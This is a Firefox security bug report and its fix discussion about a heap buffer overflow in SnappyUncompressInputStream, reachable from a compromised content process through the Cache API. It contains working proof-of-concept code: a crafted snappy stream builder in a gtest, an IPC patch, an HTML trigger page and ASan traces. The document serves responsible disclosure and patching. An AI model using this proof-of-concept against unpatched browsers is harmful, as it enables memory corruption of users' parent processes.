SnappyUncompressInputStream Oversized Chunk Heap Buffer Overflow
Categories
(Core :: XPCOM, defect)
Tracking
()
People
(Reporter: prodigysml555, Assigned: nika)
References
Details
(6 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+])
Attachments
(5 external files, 1 obsolete file)
Compromised content process -> parent process via Cache API (CacheReadStream).
SnappyUncompressInputStream::ParseNextChunk (SnappyUncompressInputStream.cpp:289-304) reads mNextChunkDataLength from a 24-bit snappy frame header field (up to ~16MB) and passes it to ReadAll(mCompressedBuffer.get(), readLength, ...). The buffer is fixed at ~76KB (CompressedBufferLength()). The only guard is MOZ_ASSERT(readLength <= CompressedBufferLength()) at line 290, compiled out in release. A crafted snappy stream with chunk length 200000 writes 123502 bytes past the buffer.
The Bug
SnappyUncompressInputStream.cpp:289-304:
uint32_t readLength = mNextChunkDataLength;
MOZ_ASSERT(readLength <= CompressedBufferLength()); // debug-only
rv = ReadAll(mCompressedBuffer.get(), readLength, mNextChunkDataLength,
aBytesReadOut);
mCompressedBuffer allocated once at line 212-213 at CompressedBufferLength() (~76498 bytes for kBlockSize=65536). mNextChunkDataLength comes from ParseHeader (SnappyFrameUtils.cpp:147) which reads a 24-bit little-endian length from the frame header, allowing up to ~16MB.
IPC entry: CachePutAll wraps attacker streams in SnappyUncompressInputStream at ReadStream.cpp:181 when control is non-null. Consumed during body storage via CachePutAllAction (Manager.cpp:1063).
ASAN Proof
==94870==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6310000b32d2
WRITE of size 200000 at 0x6310000b32d2 thread T0
#0 in __asan_memcpy
#1 in NS_CopySegmentToBuffer
#2 in nsStringInputStream::ReadSegments
#3 in mozilla::SnappyUncompressInputStream::ReadAll
#4 in mozilla::SnappyUncompressInputStream::ParseNextChunk
0x6310000b32d2 is located 0 bytes after 76498-byte region [0x6310000a0800,0x6310000b32d2)
SUMMARY: AddressSanitizer: heap-buffer-overflow in NS_CopySegmentToBuffer
Note: debug builds have MOZ_ASSERT that masks the overflow. ASan output above obtained by temporarily disabling the assert to simulate release behavior.
PoC
xpcom/tests/gtest/TestSnappyStreamOverflow.cpp:
/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include "gtest/gtest.h"
#include "mozilla/SnappyUncompressInputStream.h"
#include "nsCOMPtr.h"
#include "nsIInputStream.h"
#include "nsStringStream.h"
#include <cstring>
using namespace mozilla;
static nsCString BuildOversizedSnappyStream(uint32_t aChunkDataLength) {
// Stream identifier: type=0xff, length=6 (LE), data="sNaPpY"
const uint8_t streamId[] = {
0xff, 0x06, 0x00, 0x00,
0x73, 0x4e, 0x61, 0x50, 0x70, 0x59,
};
// Compressed data chunk header: type=0x00, length=aChunkDataLength (24-bit LE)
uint8_t chunkHeader[4];
chunkHeader[0] = 0x00;
chunkHeader[1] = (aChunkDataLength >> 0) & 0xff;
chunkHeader[2] = (aChunkDataLength >> 8) & 0xff;
chunkHeader[3] = (aChunkDataLength >> 16) & 0xff;
nsCString result;
result.Append(reinterpret_cast<const char*>(streamId), sizeof(streamId));
result.Append(reinterpret_cast<const char*>(chunkHeader), sizeof(chunkHeader));
nsCString filler;
filler.SetLength(aChunkDataLength);
memset(filler.BeginWriting(), 'X', aChunkDataLength);
result.Append(filler);
return result;
}
TEST(SnappyStreamOverflow, OversizedChunkLengthHeapOverflow)
{
// CompressedBufferLength() ~ 76498 bytes. Use 200000 to overflow.
const uint32_t kOversizedLength = 200000;
nsCString crafted = BuildOversizedSnappyStream(kOversizedLength);
nsCOMPtr<nsIInputStream> base;
NS_NewCStringInputStream(getter_AddRefs(base), crafted);
RefPtr<SnappyUncompressInputStream> snappyStream =
new SnappyUncompressInputStream(base);
char outBuf[64];
uint32_t bytesRead = 0;
// ASan: heap-buffer-overflow WRITE of size 200000 into 76498-byte buffer
nsresult rv = snappyStream->Read(outBuf, sizeof(outBuf), &bytesRead);
(void)rv;
(void)bytesRead;
}
Run: ./mach gtest "SnappyStreamOverflow.*"
Fix
Replace MOZ_ASSERT with an actual bounds check:
uint32_t readLength = mNextChunkDataLength;
if (readLength > CompressedBufferLength()) {
return NS_ERROR_CORRUPTED_CONTENT;
}
Updated•9 months ago
|
Updated•9 months ago
|
Comment 1•9 months ago
|
||
I can confirm that the gtest hits the buffer overflow as described.
| Reporter | ||
Comment 2•9 months ago
|
||
Here's the IPC patch and HTML PoC for this bug.
The patch targets CacheStreamControlChild::SerializeStream in CacheStreamControlChild.cpp:75, which is the content-side function that serializes a cache body stream for IPC. When content does cache2.put(url, response) with a response obtained from cache1.match(), the ReadStream body gets re-serialized back to the parent. The patch replaces the real stream with crafted snappy frames containing a 200000-byte chunk header. The parent wraps the deserialized stream in SnappyUncompressInputStream (ReadStream.cpp:181), and ParseNextChunk reads the oversized chunk length into the fixed ~76KB mCompressedBuffer.
Note: debug builds have MOZ_ASSERT(readLength <= CompressedBufferLength()) at SnappyUncompressInputStream.cpp:290 that catches this before the overflow. You need to comment out both MOZ_ASSERTs at lines 290 and 301 to see the heap-buffer-overflow in an ASan+debug build. In release builds, these asserts are compiled out and the overflow proceeds.
IPC Patch
Apply with git apply:
diff --git a/dom/cache/CacheStreamControlChild.cpp b/dom/cache/CacheStreamControlChild.cpp
index 71ef3e0042f4..acbae00e895c 100644
--- a/dom/cache/CacheStreamControlChild.cpp
+++ b/dom/cache/CacheStreamControlChild.cpp
@@ -12,6 +12,7 @@
#include "mozilla/ipc/IPCStreamUtils.h"
#include "mozilla/ipc/PBackgroundChild.h"
#include "nsISupportsImpl.h"
+#include "nsStringStream.h"
namespace mozilla::dom::cache {
@@ -76,8 +77,32 @@ void CacheStreamControlChild::SerializeStream(CacheReadStream* aReadStreamOut,
nsIInputStream* aStream) {
NS_ASSERT_OWNINGTHREAD(CacheStreamControlChild);
MOZ_DIAGNOSTIC_ASSERT(aReadStreamOut);
+
+ // PoC: replace the real cache body stream with crafted snappy frames.
+ // The parent wraps this in SnappyUncompressInputStream (ReadStream.cpp:181).
+ // ParseNextChunk reads the 24-bit chunk length (200000) and passes it to
+ // ReadAll into the fixed ~76KB mCompressedBuffer. Heap buffer overflow.
+ const uint32_t kOversizedLen = 200000;
+ const uint8_t streamId[] = {
+ 0xff, 0x06, 0x00, 0x00,
+ 0x73, 0x4e, 0x61, 0x50, 0x70, 0x59,
+ };
+ uint8_t chunkHdr[4] = {
+ 0x00,
+ static_cast<uint8_t>((kOversizedLen >> 0) & 0xff),
+ static_cast<uint8_t>((kOversizedLen >> 8) & 0xff),
+ static_cast<uint8_t>((kOversizedLen >> 16) & 0xff),
+ };
+ nsCString data;
+ data.Append(reinterpret_cast<const char*>(streamId), sizeof(streamId));
+ data.Append(reinterpret_cast<const char*>(chunkHdr), sizeof(chunkHdr));
+ data.SetLength(data.Length() + kOversizedLen);
+ memset(data.BeginWriting() + 14, 'X', kOversizedLen);
+
+ nsCOMPtr<nsIInputStream> crafted;
+ NS_NewCStringInputStream(getter_AddRefs(crafted), data);
MOZ_ALWAYS_TRUE(mozilla::ipc::SerializeIPCStream(
- do_AddRef(aStream), aReadStreamOut->stream(), /* aAllowLazy */ false));
+ crafted.forget(), aReadStreamOut->stream(), /* aAllowLazy */ false));
}
void CacheStreamControlChild::OpenStream(const nsID& aId,
HTML PoC
Stores a response in one cache, matches it (gets a ReadStream with a CacheStreamControlChild actor), then puts the matched response into a second cache. The re-serialization triggers the patched SerializeStream, sending crafted snappy data to the parent. The parent wraps it in SnappyUncompressInputStream and crashes during body copy.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>SnappyUncompressInputStream Oversized Chunk - IPC PoC</title>
</head>
<body>
<pre id="log"></pre>
<script>
const log = document.getElementById('log');
function msg(s) {
log.textContent += s + '\n';
console.log('[PoC] ' + s);
}
msg('SnappyUncompressInputStream Oversized Chunk Heap Overflow');
msg('Content -> Parent process via Cache API (PBackgroundCache)');
msg('');
async function run() {
try {
await caches.delete('poc-snappy-src');
await caches.delete('poc-snappy-dst');
msg('1. Storing response in source cache...');
const cache1 = await caches.open('poc-snappy-src');
const body = 'A'.repeat(1024);
await cache1.put('/test', new Response(body));
msg(' Stored 1KB response body');
msg('2. Matching response (creates ReadStream with control actor)...');
const response = await cache1.match('/test');
if (!response) {
msg(' ERROR: cache miss');
return;
}
msg(' Got response with body stream');
msg('3. Putting response into destination cache...');
msg(' (Triggers serialization -> parent decompresses crafted stream)');
const cache2 = await caches.open('poc-snappy-dst');
await cache2.put('/test', response);
msg('');
msg('If patched: parent process hit heap-buffer-overflow WRITE');
msg('Check ASan output for overflow in SnappyUncompressInputStream::ReadAll');
} catch (e) {
msg('Error: ' + e.message);
msg('(Expected if parent crashed from overflow)');
}
}
run();
</script>
</body>
</html>
Steps to reproduce
git apply pocs/snappy_stream_overflow_ipc.patch- Comment out
MOZ_ASSERT(readLength <= CompressedBufferLength())at SnappyUncompressInputStream.cpp lines 290 and 301 (these are debug-only asserts, compiled out in release) ./mach buildpython3 -m http.server 8766 --directory pocs/./mach run -- http://localhost:8766/snappy_stream_overflow_ipc.html- Parent process hits heap-buffer-overflow on thread pool thread during cache body copy
ASan output
==91101==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6310004d72d2 at pc 0x000104d7fa88 bp 0x00016e685840 sp 0x00016e684ff0
WRITE of size 200000 at 0x6310004d72d2 thread T37
#0 __asan_memcpy+0x4a8
#1 NS_CopySegmentToBuffer+0x34
#2 nsStringInputStream::ReadSegments+0x228
#3 mozilla::SnappyUncompressInputStream::ReadAll+0x134
#4 mozilla::SnappyUncompressInputStream::ParseNextChunk+0x2cc
#5 mozilla::SnappyUncompressInputStream::ReadSegments+0x120
#6 mozilla::dom::cache::ReadStream::Inner::Read+0x74
#7 nsStreamCopierOB::FillOutputBuffer+0x64
#8 mozilla::SnappyCompressOutputStream::WriteSegments+0x238
#9 nsStreamCopierOB::DoCopy+0x13c
#10 nsAStreamCopier::Process+0x1d4
#11 nsAStreamCopier::Run+0x20
#12 nsThreadPool::Run+0xb90
0x6310004d72d2 is located 0 bytes after 76498-byte region [0x6310004c4800,0x6310004d72d2)
SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy
| Assignee | ||
Comment 3•9 months ago
|
||
Updated•9 months ago
|
| Assignee | ||
Comment 4•9 months ago
|
||
Updated•9 months ago
|
| Assignee | ||
Comment 5•9 months ago
|
||
Comment on attachment 9545891 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: It is pretty obvious where the issue is based on the patch.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: I expect the patch should apply to all impacted branches.
- How likely is this patch to cause regressions; how much testing does it need?: There is an automated test in part 2. It's very unlikely to cause regressions.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Updated•9 months ago
|
Updated•9 months ago
|
| Assignee | ||
Updated•9 months ago
|
Comment 6•9 months ago
|
||
Unfortunately we're in RC week and we can't grant sec-approval yet, especially given it's impossible to obfuscate the clear boundary checks in the patch. We would not normally be allowed to take it into the planned point release because it also affects ESR, but if there's an opportunity we should try to get it in before Fx149.
I'll check back on the sec-approval after merge day next week.
| Assignee | ||
Updated•9 months ago
|
Updated•9 months ago
|
Comment 7•9 months ago
|
||
Comment on attachment 9545891 [details]
(secure)
sec-approval+ to land the patch now and request uplifts. Please wait until May to land the test
Updated•9 months ago
|
Comment 8•9 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: IPC bounds check violation possible by compromised content process
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: The patch is small and fairly straightforward
- String changes made/needed: None
- Is Android affected?: yes
| Assignee | ||
Comment 9•9 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D283767
Comment 10•9 months ago
|
||
firefox-esr115 Uplift Approval Request
- User impact if declined: IPC bounds check violation possible by compromised content process
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: The patch is small and fairly straightforward
- String changes made/needed: None
- Is Android affected?: yes
| Assignee | ||
Comment 11•9 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D283767
Comment 12•9 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined: IPC bounds check violation possible by compromised content process
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: The patch is small and fairly straightforward
- String changes made/needed: None
- Is Android affected?: yes
| Assignee | ||
Comment 13•9 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D283767
Comment 14•9 months ago
|
||
firefox-release Uplift Approval Request
- User impact if declined: IPC bounds check violation possible by compromised content process
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: The patch is small and fairly straightforward
- String changes made/needed: None
- Is Android affected?: yes
| Assignee | ||
Comment 15•9 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D283767
Comment 16•9 months ago
|
||
Comment 17•9 months ago
|
||
Updated•9 months ago
|
Updated•9 months ago
|
Comment 18•9 months ago
|
||
| uplift | ||
Comment 19•9 months ago
|
||
Comment on attachment 9548337 [details]
(secure)
Rejecting release uplift request. Since this affects ESR branches, it's not suitable for a dot release.
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Comment 20•9 months ago
|
||
| uplift | ||
Updated•9 months ago
|
Comment 21•9 months ago
|
||
| uplift | ||
Updated•9 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Comment 22•7 months ago
|
||
2 months ago, dveditz placed a reminder on the bug using the whiteboard tag [reminder-test 2026-05-05] .
nika, please refer to the original comment to better understand the reason for the reminder.
Comment 24•7 months ago
|
||
Comment 25•7 months ago
|
||
Updated•4 months ago
|
Description
•